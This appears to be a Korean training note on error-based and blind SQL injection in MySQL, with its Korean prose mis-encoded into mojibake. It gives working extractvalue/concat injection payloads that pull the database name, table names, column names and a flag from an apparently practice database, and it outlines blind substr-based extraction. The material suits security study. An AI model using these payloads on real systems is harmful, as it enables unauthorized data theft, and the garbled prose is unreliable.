Error Based Sqli
SQL ์ง์ ๊ฒฐ๊ณผ๊ฐ ํ๋ฉด์ ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ์ UNION SQLi๋ฅผ ์ฌ์ฉํ๋ค.
๊ทธ๋ ๋ค๋ฉด ๊ฒฐ๊ณผ๊ฐ ์๋ ์๋ฌ(Error) ๋ฉ์์ง๊ฐ ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ์๋ ์ด๋ป๊ฒ ํด์ผํ ๊น?
์ด๋ ์ฐ๋ฆฌ๋ Error Based SQLi๋ฅผ ์๊ฐํด ๋ณผ ์ ์๋ค. ์ฟผ๋ฆฌ์ ์ค์ง์ ์ธ ๊ฒฐ๊ณผ๋ ์ถ๋ ฅ๋๊ณ ์์ง ์์ง๋ง ์ค๋ฅ๊ฐ ๋ฌ์ ๊ฒฝ์ฐ์ ์ค๋ฅ ๋ฉ์์ง๊ฐ ๋ ธ์ถ๋๊ณ ์๋ค๋ฉด, ์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
๊ทธ๋ผ ์ด๋ค ๊ฒฝ์ฐ์ Error Based SQLi๋ฅผ ์ฌ์ฉํ ์ ์๋์ง ์๊ฐํด๋ณด์!
๋น์ฐํ๊ฒ๋ ์๋ฌ ๋ฉ์์ง๋ฅผ ํ์ฉํด์ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ๋ ๋ฐฉ๋ฒ์ด๊ธฐ ๋๋ฌธ์, ์ฐ์ ์๋ฌ ๋ฉ์์ง๊ฐ ํ๋ฉด์ ์ถ๋ ฅ๋๋ ๊ณณ์ด์ฌ์ผ ํ๋ค.
Error ?!
์๋ฌ(Error) ... ์๋ฌ์ ์ข ๋ฅ๋ ๋ค์ํ๋ค. ๊ทธ๋ผ Error Based๋ ๋ชจ๋ ์๋ฌ์ ๋ํ์ฌ ํ์ฉ์ด ๊ฐ๋ฅํ ๊ฒ์ธ๊ฐ?
์๋๋ค.! ๊ทธ๋ ์ง ์๋ค.!
์๋ฌ์๋ ์๋ฏธ์๋ ์๋ฌ๊ฐ ์๊ณ , ์๋ฏธ์๋(์ธ๋ชจ์๋)์๋ฌ๊ฐ ์๋ค๋ ๊ฒ์ ์ฐ๋ฆฌ๋ ์ธ์งํ ํ์๊ฐ ์๋ค.
Syntax Error vs Logic Error
์ฐ๋ฆฌ๋ ์ฐ์ ์ ์ผ๋ก ๋ฌธ๋ฒ ์๋ฌ(Syntax Error)์ ๋ก์ง ์๋ฌ(Logic Error)์ ๋ํ์ฌ ์๊ฐํด ๋ด์ผํ๋ค.
SQL์ ์ํํ๋ ๊ณผ์ ์์ DB๋ SQL ์ง์๋ฌธ(Query) ๋ฐ์์ ๊ฒ์ฌํ๊ณ , ์ํํ๋ค. ์ด ๊ณผ์ ์์ ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ(์ํ๋) SELECT ๋ฌธ์ด ์คํ๋์ด์ผ ํ๋ค.
๊ทธ๋ฐ๋ฐ? ๋ง์ฝ, ๋ฌธ๋ฒ ์๋ฌ(SQL Syntax Error)๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ(์์ฑํ SQL์ ๋ฌธ๋ฒ์ด ํ๋ฆฐ ๊ฒฝ์ฐ) ์คํ ์์ฒด๊ฐ ๋์ง ์๋๋ค. SQL์ด ์คํ ๋๊ธฐ๋ ์ ์ ์๋ฌ๊ฐ ๋๋ฒ๋ฆฐ๋ค๋ ๊ฒ์ด๋ค. ์ด๋ฐ ๊ฒฝ์ฐ ์๋ฏธ๊ฐ ์๋ ์๋ฌ๊ฐ ๋ฐ์ํ๊ณ ์ฐ๋ฆฌ๋ ์ด๋ฅผ ์จ๋จน์ ์ ์๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ๋ก์ง ์๋ฌ๋ฅผ ์ด์ฉํด์ผ ํ๋ค.
๋ฌธ๋ฒ์ ์ผ๋ก๋ ๋ฌธ์ ๊ฐ ์์ง๋ง ์คํํ๋๋ฐ ์์ด์ ๋ฌธ์ (์๋ฌ)๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๋ฅผ ๋งํ๋ค. ํ์ง๋ง, ๋ก์ง ์๋ฌ๋ผ๊ณ ํด์ ๋ชจ๋ ํ์ฉ ๊ฐ๋ฅํ ๊ฒ์ ์๋๋ค. ์ฝ๋์ ์ด๋์์๋ ๋ฐ์ํ๋ ๋ก์ง ์๋ฌ๊ฐ ๋ชจ๋ ์๋ฏธ ์๋ ๊ฒ์ ์๋๋ผ๋ ๊ฒ์ด๋ค.
SQL ์๋ฌ์ฌ์ผ๋ง ํ๋ค๋ ๊ฒ์ ์๊ฐํด์ผ ํ๋ค.
์ฆ ์ฝ๋(Code)๋ฅผ ์ปดํ์ผ(Complie)ํ๊ณ ์คํ(Execute)ํ๋ ๊ณผ์ ์์ ๋ฐ์ ๊ฐ๋ฅํ ์ฌ๋ฌ๊ฐ์ง ์๋ฌ๋ค ์ค์์ ์๋ฒ์ธก ์ฝ๋๊ฐ ์คํํ๋ค ๋ฐ์ํ๋ ์๋ฌ๋ค์ด ์๋, SQL ์ํ์ค์ ๋ฐ์ํ๋ SQL Logic Error ๊ฐ ๋ฐ์ํ ๊ฒฝ์ฐ์ ์ฐ๋ฆฌ๋ Error Based SQLi๋ฅผ ํ์ฉํ ์ ์๋ค.
Error Based SQLi์์๋ SQL ์ํ ์ค์ ๋ฌธ์ ๋ฅผ ์ผ์ผ์ผ ๋ฐ์ํ ์๋ฌ์ธ SQL Logic Error์ ์๋ฏธ๋ฅผ ์ฐพ์ ์ ์๋ค.
Error๋ฅผ ์ ๋ฐํ๋ ๋ฐฉ๋ฒ
Error Based SQL Injection์ ์ํํ๊ธฐ ์ํด ์๋ฌ๋ฅผ ์๋์ ์ผ๋ก ๋ง๋ค์ด๋ผ ํ์๊ฐ ์๋ค.
๊ทธ๋ ๋ค๋ฉด ์ฐ๋ฆฌ๋ ์๋ฌ๋ฅผ ์ด๋ป๊ฒํ๋ฉด ๋ฐ์ ์ํฌ ์ ์๋๊ฐ?! ์ ๋ํ์ฌ ์๊ฐํด ๋ณด์์ผํ๋ค.
Logic Error๋ฅผ ์ ๋ฐํ๋ ๋ฐฉ๋ฒ์ MySQL, Oracle, MsSQL ๋ฑ๋ฑ DB๋ง๋ค ๋ค๋ฅด๋ค. ์ด๋ ๋ฐ๋ก ์ ๋ฆฌํ ํ์๊ฐ ์์ง๋ง, ์ฐ์ MySQL๋ฅผ ํ์ฉํ์ฌ ์น ๊ฐ๋ฐ์ ์งํ ์ค์ด๊ธฐ ๋๋ฌธ์ ์ด์ ๋ํ์ฌ ์ดํด๋ณผ ๊ฒ์ด๋ค.
ExtractValue ํจ์
MySQL์ extractvalue ํจ์๋ ๋๊ฐ์ ํ๋ผ๋ฏธํฐ(params) xml ๋ฐ์ดํฐ, xml ํํ์์ ์ธ์๋ก ํ๋ ํจ์๋ก xml ๋ฐ์ดํฐ์์ ์ด๋ค ํน์ ํ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๋ ํจ์์ด๋ค.
extractvalue(xml data, XPATH expression)
์ฆ ์ฒซ๋ฒ์งธ ์ธ์๋ก ์ฃผ์ด์ง ๋ฐ์ดํฐ์์ ๋๋ฒ์งธ ์ธ์๋ก ์ฃผ์ด์ง ๊ฐ์ ์ฐพ์ ์ถ์ถํ๋ ๊ฒ์ด๋ค.
์ด๋ ์ฒซ๋ฒ์งธ ์ธ์๊ฐ ์๋๊ณ ๋๋ฒ์งธ ์ธ์์ ์ ์ ํ์ง ์์ ๊ฐ์ด ๋ค์ด๊ฐ๋ค๋ฉด? ์๋ฌ๊ฐ ๋ฐ์ํ๋ค.
(์๋ฌด ์๋ฌ๊ฐ ์๋ Xpath ํํ์ ์๋ฌ๋ฅผ ์ ๋ฐ ํด์ผํ๋ค.)
ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr ์ธ์์ ๊ฐ'
์ฐ๋ฆฌ๋ ์ด๋ฅผ ์ด์ฉํ์ฌ ๋๋ฒ์งธ ์ธ์์ ๊ท์น์ ์ด๊ธ๋ ๊ฐ์ ์ฝ์ ํ์ฌ ์๋์ ์ผ๋ก ์๋ฌ๋ฅผ ๋ฐ์์ํค๊ณ , ์ด๋ฅผ ํ์ฉํ ๊ฒ์ด๋ค.
XPATH expression ๊ท์น์ ์ด๊ธ๋๋ ๊ฐ
@๋ ์ฌ์ฉ์ด ๊ฐ๋ฅํ์ง๋ง, ๊ทธ ์ธ์ ํน์๋ฌธ์๋ค์ ์๋๋ค.
์ผ๋ฐ์ ์ผ๋ก 0x3a ์ฆ ' ์ฝ๋ก (:) ' ์ ์ด์ฉํ๋ค.
ExtractValue ํ์ฉ
๊ทธ๋ ๋ค๋ฉด extractvalue๋ฅผ ์ด๋ค์์ผ๋ก ํ์ฉํ๋ฉด ๋ ๊น?
์ฐ๋ฆฌ๋ ์๋ฌ ๋ฉ์์ง๋ฅผ ํ์ฉํด์ SQL ์ง์๋ฌธ์ ์ฝ์ ํ๊ณ , ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ค.
๊ทธ๋ฌ๋ฏ๋ก (SELECT ~ )์ ๊ฐ์ด SELECT ๋ฌธ์ ๊ฒฐ๊ณผ๋ฅผ ์๋ฌ ๋ฉ์์ง์ ํฌํจ์์ผ์ผ ํ๋ค. ๊ทธ๋ ๋ค๋ฉด SELECT ๋ฌธ์ ๊ฒฐ๊ณผ๋ฅผ ์ด๋ป๊ฒ ์๋ฌ ๋ฉ์์ง์ ํฌํจ์ํฌ๊น?
์ฐ์ ์๋์ ๊ฐ์ด extractvalue('xml ๊ธ์', 'xml ํํ์')๋ฅผ ์ด์ฉํ ๊ฒฝ์ฐ๋ฅผ ์๊ฐํด๋ณด์.
'and extractvalue('1',':gear')
์ด ๊ฒฝ์ฐ์๋ ' ๊ฐ ํ๋ ๋น๊ธฐ ๋๋ฌธ์ ๋ฌธ๋ฒ ์๋ฌ๊ฐ ๋ฐ์ํ๋ค.
'and extractvalue('1',':gear') and '1'='1
์์ ๊ฐ์ด '๋ฅผ ๋ง์ถฐ ์ฃผ์์ง๋ง ์ฝ๋ก (:)์ ๊ทธ๋ฅ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ์๋ฌ๊ฐ ๋ฐ์ํ์ง ์๋๋ค.
๊ทธ ์ด์ ๋ ์ฝ๋ก (:)์ ๊ทธ๋ฅ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๊ทธ๋๋ก ์ ๋ ฅ๋์ง ์์์ ์๋ฌ๋ฅผ ์ ๋ฐํ์ง ์๋ ๊ฒ์ด๋ค. ๊ทธ๋์ ์ฐ๋ฆฌ๋ ์ฝ๋ก ( :)์ด ์ ๋๋ก ์ธ์ํ๊ฒ ํ ํ์๊ฐ ์๋ค.
๊ทธ๋์ ์ฐ๋ฆฌ๋ concat์ ์ด์ฉํ๋ค.
Concat ํจ์ ํ์ฉ
gear' and extractvalue('1',concat(0x3a, (select 'gear'))) and '1'='1
concat ์ ๋ ์ธ์๋ฅผ ๋ถ์ฌ์ฃผ๋ ํจ์์ด๋ค. ๊ทธ๋์ ์์ ๊ฒฐ๊ณผ์ ๊ฒฝ์ฐ concat(0x3a, (select 'gear')) ์์ 0x3a๋ : ์ด๊ธฐ ๋๋ฌธ์ ':gear' ๊ฐ ๋๊ฒ ๋๋ค.
๊ทธ๋ฐ๋ฐ ์ด๋ ์ฝ๋ก (:)์ ์๋ฌ๊ฐ ๋ฐ์์ํค๊ฒ ๋๊ณ , ์๋์ ๊ฐ์ ์๋ฌ๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.
XPATH syntax error ':gear'
์ฌ๊ธฐ์ ์ฃผ์ํ ์ ์ ๋ค์๊ณผ ๊ฐ๋ค.
concat์ ์ด์ฉํ๋ค๊ณ ์๋์ ๊ฐ์ด ์ ๋ ฅํ๋ฉด ์๋ฏธ๊ฐ ์๋ค.
concat( :, 'gear')
๋ฌผ๋ก ์ ์ด์ด ๋ถ์ฌ์ ธ์ :gear์ด ๋์ง๋ง ์ด๋์ ์ฝ๋ก (:)์ ๊ทธ๋๋ก ์ ๋ ฅ๋์ง ์๋๋ค. ๊ทธ๋์ ์ฐ๋ฆฌ๋ ์ฝ๋ก (:)์ 0x3a๋ก ์ ๋ ฅํด์ฃผ๋ ๊ฒ์ด๋ค.
๊ฒฐ๋ก ์ ์ผ๋ก ์ด๋ฅผ ํตํด ์ฝ๋ก (:) ๋ท๋ถ๋ถ์ ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ ๊ฐ์ ๋ํ ์๋ฌ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ Error Based SQLi๋ฅผ ํ์ฉํ๊ธฐ ์ํด ์ฐ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํ๋ค.
gear' and extractvalue('1',concat(0x3a, (select ~~))) and '1'='1
์ด์ ๊ฐ์ด ์ ๋ ฅํ๋ฉด SELECT๋ฌธ์ SQL ์ง์(Query)๋ก์ ์ ์์ ์ผ๋ก ์คํ๋ ์ ์๊ณ , ์๋ฌ๋ฅผ ๋ฐ์์ํค๊ธฐ ์ํ ํน์๋ฌธ์ (:)๋ฅผ SELECT๋ฌธ์ ๋ถ์ฌ์ฃผ์ด ํด๋น ์๋ฌ์ ๊ฒฐ๊ณผ๋ฅผ ํ๋ฉด์์ ๋ณผ ์ ์๊ฒ ๋๋ ๊ฒ์ด๋ค.
SELECT๋ฌธ์ '์ ์ ํ ๊ณต๊ฒฉ format'์ ์ ๋ ฅํ๋ค๋ฉด ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์ ์๊ฒ ๋๋ค๋ ๊ฒ์ด๋ค.
Error Based SQLi Process
06์ฃผ์ฐจ์ ์งํํ UNION SQLi์ ๊ณผ์ ๊ณผ ๋ณ๋ฐ ๋ค๋ฅด์ง ์๋ค. ์ฌ์ฉํ๋ ๊ณต๊ฒฉ format์ด ๋ค๋ฅผ ๋ฟ์ด๋ค.
๊ทธ๋ฌ๋ฏ๋ก Error Based SQL Injection ๋ํ ์ ํด์ง ์์๋๋ก๋ง ๋ฐ๋ผ๊ฐ๋ฉด ๋๋ Process๊ฐ ์กด์ฌํ๋ค๋ ๊ฒ์ด๋ค.
(๊ทธ์ ๋ฌด์กฐ๊ฑด! ๋ฐ๋ผ์ฃผ๊ธฐ๋ง ํ๋ฉด ๋๋ ๊ฒ์ด๋ค.)
Error Based SQL Injection Process
1. SQL Injection ํฌ์ธํธ ์ฐพ๊ธฐ (๊ฐ๋ฅ ์ฌ๋ถ ํ์ธํ๊ธฐ) - Data ์ถ๋ ฅ ํ์ธ
2. ์๋ฌ๋ฅผ ์ ๋ฐํ๋ ํจ์๋ฅผ DB์ ์ข ๋ฅ์ ๋ง์ถฐ ํ์ธํ๊ธฐ - Error ๋ฐ์ ํจ์ TEST
3. ๊ณต๊ฒฉ format ๋ง๋ค๊ธฐ
4. DB ์ด๋ฆ ํ์ธ
5. Table ์ด๋ฆ ํ์ธ
6. Column ์ด๋ฆ ํ์ธ
7. Data ์ถ์ถ
[1] SQL Injection Point ์ฐพ๊ธฐ
SQL Injection ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํด์๋ SQL Injection์ด ๊ฐ๋ฅํ์ง๋ถํฐ ํ์ธํด์ผ ํ๋ค.
x' and '1'='1
x' and '1'-'1 ์ ์ ๋ ฅํ์ฌ SQL์ฝ์ ์ด ์ผ์ด๋ฌ์์๋ ์ ์์ ์ผ๋ก Query๊ฐ ๋์ํ๋์ง ํ์ธํด๋ณธ๋ค.
๊ทธ ๋ค์์ผ๋ก ์ฐ๋ฆฌ๋ Error Based๋ฅผ ํ์ฉํ๊ธฐ์ํด x' ๋ฅผ ์ ๋ ฅํ์ฌ ์๋ฌ ๋ฉ์์ง๊ฐ ๋ํ๋๋์ง ํ์ธ ํด๋ณธ๋ค.
x'
์์ ๊ฐ์ด ์ ๋ ฅํ๋ฉด '์ ๊ฐ์๊ฐ ๋ง์ง ์์์ ์๋ฌ๊ฐ ๋ฐ์ํ๊ณ ์๋ฌ๊ฐ ํ๋ฉด์ ์ถ๋ ฅ๋๋ค๋ฉด ์ฐ๋ฆฌ๋ Error Based๋ฅผ ํ์ฉํด๋ด์ผ ํ๋ค๋ ์๊ฐ์ ํด๋ณผ ์ ์๋ค.
[2] Error๋ฅผ ์ ๋ฐํ๋ ํจ์
์ฐ๋ฆฌ๋ ์๋ฌ๋ฅผ ๋ด๊ธฐ ์ํด์ ์๋ฌ(Error)๋ฅผ ๋ฐ์์ํค๋ ํจ์์ ๋ํ์ฌ ํ์ธํด๋ด์ผ ํ๋ค. ์ด๋ DB ๋ณ๋ก ๋ค๋ฅด๋ฏ๋ก ์ด๋ค DB๋ฅผ ์ฌ์ฉํ๊ณ ์๋์ง ํ์ธํ๊ณ ์ด์ ๋ง์ถฐ ์ฐพ์์ ์ฌ์ฉํ๋ฉด๋๋ค.
์ฐ์ MySQL์์๋ extractvalue๋ฅผ ํ์ฉํ๊ณ , ์ฌ๊ธฐ์๋ ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์งํํ ๊ฒ์ด๋ค.
[3] ๊ณต๊ฒฉ Format ๋ง๋ค๊ธฐ.
x' and extractvalue('1',concat(0x3a,(______))) and '1'='1
ํญ์ ๊ณต๊ฒฉ Format ์ ์ฐ์ ์ ์ผ๋ก ๋ง๋ค์ด๋๊ณ ํด์ผ ์ธ๋ฐ์์ด ์คํ๋ก ์ธํด ๋ฐ์ํ๋ ์๋ฌ๋ค์ ๋ฐ์์ํค์ง ์์ ์ ์๋ค.
์ด์ ์ฐ๋ฆฌ๋ ํด๋น ๋น์นธ์ SQL์ฝ์ ์ ํตํด ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ๊ธฐ ์ํ SELECT๋ฌธ์ ์ฝ์ ํ๋ฉด ๋๋ค.
[4] DB ์ด๋ฆ ์์๋ด๊ธฐ
DB ์ด๋ฆ์ ์์๋ด๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ select ๊ตฌ๋ฌธ์ ์ฌ์ฉํ๋ฉด ๋๋ค.
select database()
๊ทธ๋ผ ์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์ ๋ฃ์ด์ค๋ค.
x' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
๊ทธ๋ผ ์๋ฌ๊ฒฐ๊ณผ์ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๋ฐ์ดํฐ ๋ฒ ์ด์ค์ ์ด๋ฆ์ด ์ถ๋ ฅ๋ ๊ฒ์ด๋ค.
ex) XPATH syntax error: ':segfault_sql'
[5] Table ์ด๋ฆ ์์๋ด๊ธฐ
Table ์ด๋ฆ์ ์์๋ด๊ธฐ ์ํด์ ์ฐ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ select ๊ตฌ๋ฌธ์ ์ฌ์ฉํ๋ค.
select table_name from information_schema.tables where table_schema = 'segfault_sql'
์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์ ๋ฃ์ด์ค๋ค.
x' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'segfault_sql'))) and '1'='1
์ฌ๊ธฐ์ ์ฐ๋ฆฌ๋ ์๋์ ๊ฐ์ ์๋ฌ๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๋ฅผ ์๊ฐํด ๋ด์ผํ๋ค.
Subquery returns more than 1 row
์... ์ฌ๋ฌ ํ์ด ๋์ค๊ณ ์๊ตฌ๋! ,limit์ ์ด์ฉํ์ฌ ํ์ค๋ง์ ์ถ๋ ฅํ์!
select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0,1
์์ ๊ฐ์ด limit 0,1์ ๋ฃ์ด์ฃผ์ด rows -> row๋ก ํ๋์ ํ๋ง์ ๋์ค๊ฒ ํด์ฃผ๋ select ๊ตฌ๋ฌธ์ ๋ฐ๊ฟ์ฃผ๊ณ ์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์ ๋ฃ์ด์ค๋ค.
x' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0,1))) and '1'='1
๊ทธ๋ผ ์ฐ๋ฆฌ๋ Table์ ์ด๋ฆ๋ค์ ํ์ธํด ๋ณผ ์ ์๋ค.
SELECT command denied to user 'errSqli'@'localhost' for table 'tables'
์์ ๊ฐ์ ์๋ฌ๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๋ ์ ๊ทผ ๊ถํ์ด ์๋ ํ ์ด๋ธ์ ์ ๊ทผํ๋ ๊ฒฝ์ฐ์ด๋ค.
[6] Column ์ด๋ฆ ์์๋ด๊ธฐ
Column์ ์ด๋ฆ์ ์์๋ด๊ธฐ ์ํด์ ์ฐ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ select ๊ตฌ๋ฌธ์ ์ฌ์ฉํ๋ค.
select column_name from information_schema.columns where table_name = 'secret' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์ ๋ฃ์ด์ค๋ค.
x' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = '
secret' limit 0,1))) and '1'='1
[7] ๋ฐ์ดํฐ ์ถ๋ ฅํ๊ธฐ
DB, Table, Column์ ์ด๋ฆ๋ค์ ๋ค ์์๋๋ค๋ฉด ์ฐ๋ฆฌ๋ ๋ฐ์ดํฐ(data)๋ฅผ ์์๋ผ ์ ์๋ค.
select flag from secret limit 0,1
์ด๋ฅผ ๋ํ ๊ณต๊ฒฉ ํฌ๋งท์ ๋ฃ์ด์ค๋ค.
x' and extractvalue('1',concat(0x3a,(select flag from secret limit 0,1))) and '1'='1
์ด์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ฐ๋ฆฌ๋ ์๋ฌ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ์ฌ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์์๋ผ ์ ์๋ ๊ฒ์ด๋ค.
Blind Sqli
์ง๊ธ๊น์ง ๋ค๋ฃฌ UNION SQLi์ Error Based SQLi๋ SQL ์ง์(Query)์ ๊ฒฐ๊ณผ ํน์ ์ค๋ฅ๊ฐ ํ๋ฉด์ ๋์ค๋ ๊ฒฝ์ฐ์๋ค.
๊ทธ๋ ๋ค๋ฉด ๊ฒฐ๊ณผ๊ฐ ํ๋ฉด์ ๋ ธ์ถ๋์ง ์๋ ๊ฒฝ์ฐ(๋ณด์ด์ง ์๋ ๊ฒฝ์ฐ)์๋ ์ด๋ป๊ฒ ํด์ผํ ๊น?
๋ณด์ด์ง ์๋๋ค๊ณ ๊ณต๊ฒฉ์ด ๋ถ๊ฐ๋ฅํ ๊ฒ์ด ์๋๋ค. ์ด๋ฅผ ํ์ฉํ ๋ฐฉ์์ด Blind SQL Injection์ด๋ค.
๊ทธ๋ ๋ค๋ฉด ์ง์(Query)์ ๊ฒฐ๊ณผ๊ฐ ๋ณด์ด์ง ์๋๋ฐ ์ด๋ป๊ฒ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๊ฒ์ผ๊น?
ํ๋ฉด์์์ ํ์ธ์ด ๋ถ๊ฐ๋ฅํ๋ค๋ฉด ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์๋ ์์ฉ์ด ์๋ ๊ฒ์ด ์๋๊น?
ํ์ง๋ง ์ฐ๋ฆฌ๋ ์ด๋ฅผ ์ฐธ๊ณผ ๊ฑฐ์ง์ ์๋ต ์ฐจ์ด๋ฅผ ์ด์ฉํ์ฌ ์์๋ผ ์ ์๋ค.
ex) ๋ก๊ทธ์ธ, ์์ด๋ ์ค๋ณต ์ฒดํฌ
True / False ?!
์ฐธ๊ณผ ๊ฑฐ์ง?! ์ด๊ฒ ๋ฌด์จ ์๋ฏธ๊ฐ ์๋ ์ถ๊ฒ ์ง๋ง ์ฐ๋ฆฌ๋ ์น์ํ ๊ฒ์์ ํ๋ ์๊ณ ์๋ค.
๋ฐ๋ก '์ค๋ฌด๊ณ ๊ฐ' ์ด๋ค.
์ฐ๋ฆฌ๋ ์ค๋ฌด๊ณ ๊ฐ ์ฒ๋ผ ์ฐธ/๊ฑฐ์ง์ผ๋ก ๋๋ต ๊ฐ๋ฅํ ์ง๋ฌธ์ ๊ณ์ํด์ ๋์ง๊ณ ์ด๋ฅผ ์ด์ฉํ์ฌ ๊ฐ์ ์ฐพ์๋ด๋ ๊ฒ์ด๋ค.
ํน์ ์์ฒญ์ ๋ํ์ฌ ์ฐธ์ธ ๊ฒฝ์ฐ์ ๊ฑฐ์ง์ธ ๊ฒฝ์ฐ์ ์๋ต์ด ๋ค๋ฅด๋ค๋ฉด?! ์ด๋ฅผ ์ด์ฉํ์ฌ ์ฐ๋ฆฌ๋ ์ด๋ฐ ์ง๋ฌธ์ ๋์ง ์ ์๋ค.
substr((select ~~ ),1,1) = 'a'
"ํน์ ํด๋น ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์ ๋งจ ์๊ธ์๊ฐ a ์ผ?" ๋ผ๊ณ substr์ ์ฌ์ฉํ์ฌ ๋ฌผ์ด๋ณผ ์ ์๋ค.
๊ทธ๋ผ ์ฐธ/๊ฑฐ์ง์ผ๋ก ์ง์ ์ ์ผ๋ก ๋๋ตํด์ฃผ์ง๋ ์์ง๋ง, ์ฐ๋ฆฌ๋ ์๋ต์ ์ฐจ์ด๋ฅผ ํตํด ์ฐธ์ธ์ง ๊ฑฐ์ง์ธ์ง ํ์ธํ ์ ์๋ค.
substr((select ~~ ),2,1) = 'b'
"๋ค์ ๊ธ์๋ b์ธ๊ฐ?" ์ด๋ฐ์์ผ๋ก ๊ณ์ํด์ ์ง๋ฌธ์ ์ด์ด๋๊ฐ๋ฉด์ ์ํ๋ ๋ฐ์ดํฐ์ ์ ๋ณด๋ฅผ ์์ฑํด ๊ฐ๋ ๊ฒ์ด๋ค.
Substr ํจ์
substr ํจ์๋ substr('๋ฌธ์', ์์ ์์น, ๊ฐ์) ์ ๊ฐ์ด ์ด๋ฃจ์ด์ ธ ์๋ ๊ธ์๋ฅผ ์๋ผ์ฃผ๋ ํจ์์ด๋ค.
๊ทธ๋์ ๋ค์๊ณผ ๊ฐ์ด ์๊ฐํ๋ฉด ๋๋ค.
substr('test',1,1) -> 't'
substr('test',1,2) -> 'te'
substr('test',2,1) -> 'e'
Blind SQLi Process
Blind SQLi ๋ํ ์ ํด์ง ์์๋๋ก๋ง ๋ฐ๋ผ๊ฐ๋ฉด ๋๋ Process๊ฐ ์กด์ฌํ๋ค.
(๊ทธ์ ๋ฌด์กฐ๊ฑด! ๋ฐ๋ผ์ฃผ๊ธฐ๋ง ํ๋ฉด ๋๋ ๊ฒ์ด๋ค.)
Blind SQL Injection Process
1. SQL Injection Point ์ฐพ๊ธฐ (์ฐธ/๊ฑฐ์ง ์กฐ๊ฑด ํ์ธ)
2. SELECT ๋ฌธ๊ตฌ๊ฐ ๊ฐ๋ฅํ์ง ํ์ธ
3. ๊ณต๊ฒฉ format ๋ง๋ค๊ธฐ (๊ฒฐ๊ณผ์ ์ฒซ ๊ธ์ ๋น๊ต ํ์ธ)
4. DB ์ด๋ฆ ํ์ธ
5. Table ์ด๋ฆ ํ์ธ
6. Column ์ด๋ฆ ํ์ธ
7. Data ์ถ์ถ
ASCII Table
์ฐ๋ฆฌ๋ Blind SQLi๋ฅผ ์ด์ฉํจ์ ์์ ์์คํคํ(ASCII Table)์ ๋ํ์ฌ ์๊ณ ์์ด์ผํ๋ค. ์ฐ๋ฆฌ๋ ์ฐธ/๊ฑฐ์ง์ ์ฐจ์ด๋ฅผ ํตํด ASCII ๊ฐ์ ์ฐพ์๋ด๊ณ ์ด๋ฅผ ๋ณํํ์ฌ ๋ฐ์ดํฐ์ ์ ๋ณด๋ฅผ ์ฐพ์๋ด๋ ๊ฒ์ด๋ค.
์์ ํ๋ฅผ ๋ณด๋ฉด์ ์ฐ๋ฆฌ๋ ๋ช๊ฐ์ง ์๊ฐ์ ํด๋ด์ผ ํ๋ค.
Search Method
ํ์ ๋ฐฉ์์ ๋ํ์ฌ ์๊ฐํ ์
1. ์ง๋ฌธ์ ๋ฒ์
0 ~ 127 (์ผ๋ฐ์ ์ผ๋ก ์ ๋ ฅ๊ฐ๋ฅํ ๋ชจ๋ ๊ฐ์ ASCII Code๋ก ๋ณํ์ด ๊ฐ๋ฅํ๊ณ ์์คํค ์ฝ๋๋ 0 ~ 127์ ๋ฒ์๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก ์ด๋ฅผ ๋ฒ์ด๋๋ ๊ฐ์ ํ์ธํ ํ์๊ฐ ์๋ค.)
2. ์ง๋ฌธ์ ๋ฐฉ์
- ์ ํ ํ์
